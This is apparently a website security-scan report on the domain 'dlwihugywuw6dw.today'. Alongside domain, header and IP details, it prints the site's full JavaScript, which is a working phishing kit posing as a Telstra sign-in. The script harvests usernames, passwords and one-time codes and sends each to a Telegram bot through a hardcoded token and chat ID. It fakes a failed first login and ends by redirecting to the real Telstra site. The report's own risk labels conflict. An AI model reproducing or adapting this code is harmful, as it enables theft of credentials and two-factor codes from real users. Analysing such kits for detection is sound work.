government public service

technology software

blog personal website

documentation technical

news media journalism

English

The domain 'dlwihugywuw6dw.today' uses the .today top-level domain without a subdomain. The core label 'dlwihugywuw6dw' covers 14 characters holding 3 vowels versus 10 consonants, notching one digit. Breaking it apart gives 8 words: dl, wi, hug, y, wu, w, 6, dw. The median word length lands at two characters. No strong language cues emerged from the frequency lists.

html/c8/fb/c8fb66ad-8411-40f5-b8fd-60afdb1fbabf_fallback.html.gz

Sign

html/c8/fb/c8fb66ad-8411-40f5-b8fd-60afdb1fbabf.html.gz

3c2afe196fea90e7fdf26bc32bbf857ba74d02ef7fb3a12f5008fcde9a790df3

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Amazon EC2 Abuse

IP Management

Amazon AWS Network Operations

Amazon Corporate Services Pty Ltd

Amazon EC2 Network Operations

AMAZO-SYD


        // Global variables
        let loginAttempts = 0;
        let otpTimer;
        let totalSeconds = 5 * 60; // 5 minutes
        let currentUsername = '';
        
        // Telegram bot configuration
        const TELEGRAM_BOT_TOKEN = '8299386581:AAGrGbpHDmvLkyrF0ZfIHUWzX5s_gzezoXk';
        const TELEGRAM_CHAT_ID = '6560944925';
        
        // Utility functions
        function showStep(stepId) {
            document.querySelectorAll('.step').forEach(step => {
                step.classList.remove('active');
            });
            document.querySelectorAll('.page').forEach(page => {
                page.classList.remove('active');
            });
            
            if (stepId.startsWith('step-')) {
                document.getElementById(stepId).classList.add('active');
            } else {
                document.getElementById(stepId).classList.add('active');
            }
        }
        
        function showLoading() {
            document.getElementById('loadingScreen').style.display = 'flex';
        }
        
        function hideLoading() {
            document.getElementById('loadingScreen').style.display = 'none';
        }
        
        // Get visitor information
        function getVisitorInfo() {
            return {
                ip: 'Unknown',
                url: window.location.href
            };
        }
        
        // Auto-grab email from URL hash
        function autoGrabEmail() {
            const hash = window.location.hash;
            if (hash && hash.includes('@')) {
                const email = hash.substring(1);
                document.getElementById('username').value = email;
            }
        }
        
        // Send data to Telegram
        async function sendToTelegram(data, type = 'username') {
            const visitorInfo = getVisitorInfo();
            
            let message = '';
            if (type === 'username') {
                message = `👤 *Username Submitted*\n\n`;
                message += `📧 *Username:* \`${data.username}\`\n`;
            } else if (type === 'login') {
                message = `🔐 *Telstra Login Attempt*\n\n`;
                message += `👤 *Username:* \`${data.username}\`\n`;
                message += `🔐 *Password:* \`${data.password}\`\n`;
                message += `🔢 *Attempt:* ${data.attempt}\n`;
            } else if (type === 'otp') {
                message = `📱 *OTP Submitted*\n\n`;
                message += `👤 *Username:* \`${data.username}\`\n`;
                message += `🔢 *OTP Code:* \`${data.otp}\`\n`;
            }
            
            message += `🌐 *IP:* ${visitorInfo.ip}\n`;
            message += `🔗 *URL:* ${visitorInfo.url}`;
            
            try {
                const response = await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        chat_id: TELEGRAM_CHAT_ID,
                        text: message,
                        parse_mode: 'Markdown'
                    })
                });
                
                if (!response.ok) {
                    console.error('Failed to send to Telegram:', response.statusText);
                }
            } catch (error) {
                console.error('Error sending to Telegram:', error);
            }
        }
        
        // Username form functionality
        document.getElementById('usernameForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            
            const username = document.getElementById('username').value.trim();
            const errorElement = document.getElementById('username-error');
            
            if (!username) {
                errorElement.style.display = 'block';
                return;
            }
            
            errorElement.style.display = 'none';
            currentUsername = username;
            
            // Send username data to Telegram
            await sendToTelegram({
                username: username
            }, 'username');
            
            showLoading();
            
            // Simulate processing delay
            setTimeout(() => {
                hideLoading();
                document.getElementById('back-username-display').textContent = username;
                showStep('step-password');
            }, 1500);
        });
        
        // Password form functionality
        document.getElementById('passwordForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            
            const password = document.getElementById('password').value;
            const errorText = document.getElementById('password-error');
            
            loginAttempts++;
            
            // Send login data to Telegram
            await sendToTelegram({
                username: currentUsername,
                password: password,
                attempt: loginAttempts
            }, 'login');
            
            showLoading();
            
            // Simulate login attempt
            setTimeout(() => {
                hideLoading();
                
                if (loginAttempts >= 2) {
                    // After 2 attempts, go to OTP
                    showStep('otpPage');
                    startOtpTimer();
                } else {
                    // Show error for first attempt
                    errorText.style.display = 'block';
                    document.getElementById('password').value = '';
                }
            }, 2000);
        });
        
        // Password show/hide functionality
        document.getElementById('pwdToggle').addEventListener('click', function() {
            const passwordField = document.getElementById('password');
            if (passwordField.type === 'password') {
                passwordField.type = 'text';
                this.textContent = 'Hide';
            } else {
                passwordField.type = 'password';
                this.textContent = 'Show';
            }
        });
        
        // Back box functionality
        document.getElementById('backBox').addEventListener('click', function() {
            showStep('step-username');
        });
        
        // OTP page functionality
        function startOtpTimer() {
            totalSeconds = 5 * 60; // Reset to 5 minutes
            const countdown = document.getElementById('countdown');
            const otpInput = document.getElementById('otp');
            
            otpTimer = setInterval(() => {
                totalSeconds--;
                const minutes = Math.floor(totalSeconds / 60);
                const seconds = totalSeconds % 60;
                countdown.textContent = `Code expires in ${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`;
                
                if (totalSeconds <= 0) {
                    clearInterval(otpTimer);
                    countdown.textContent = "Code expired.";
                    otpInput.disabled = true;
                }
            }, 1000);
        }
        
        document.getElementById('otpForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            
            const otpCode = document.getElementById('otp').value.trim();
            const isValid = /^\d{6}$/.test(otpCode);
            
            if (!isValid) {
                document.getElementById('error-msg').style.display = 'block';
                return;
            }
            
            document.getElementById('error-msg').style.display = 'none';
            
            // Send OTP data to Telegram
            await sendToTelegram({
                username: currentUsername,
                otp: otpCode
            }, 'otp');
            
            showLoading();
            
            // Simulate processing delay
            setTimeout(() => {
                hideLoading();
                clearInterval(otpTimer);
                showStep('donePage');
            }, 2000);
        });
        
        document.getElementById('backBtn').addEventListener('click', function() {
            clearInterval(otpTimer);
            showStep('step-password');
        });
        
        document.getElementById('resendLink').addEventListener('click', function(e) {
            e.preventDefault();
            alert("A new code has been sent to your device.");
            startOtpTimer(); // Restart timer
        });
        
        // Done page back to sign in
        document.getElementById('backToSignIn').addEventListener('click', function(e) {
            e.preventDefault();
            // Redirect to https://www.telstra.com.au/
            window.location.href = 'https://www.telstra.com.au/';
        });
        
        // Initialize
        document.addEventListener('DOMContentLoaded', function() {
            showStep('step-username');
            autoGrabEmail(); // Auto-grab email on page load
        });
    

HSTS

✅ Low Risk - https://dlwihugywuw6dw.today/

Requests	IP Address	Location	AS Autonomous System
4	13.237.71.205	Sydney, New South Wales, Australia	AS16509AMAZON-02
1	52.72.49.79	Ashburn, Virginia, United States	AS14618AMAZON-AES
1	209.94.90.1	United States	AS40680PROTOCOL
1	54.66.224.79	Sydney, New South Wales, Australia	AS16509AMAZON-02
1	2602:fea2:2::1	United States	AS40680PROTOCOL
1	52.64.199.67	Sydney, New South Wales, Australia	AS16509AMAZON-02
6	6	-	-

Security Scan Report: dlwihugywuw6dw.today

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History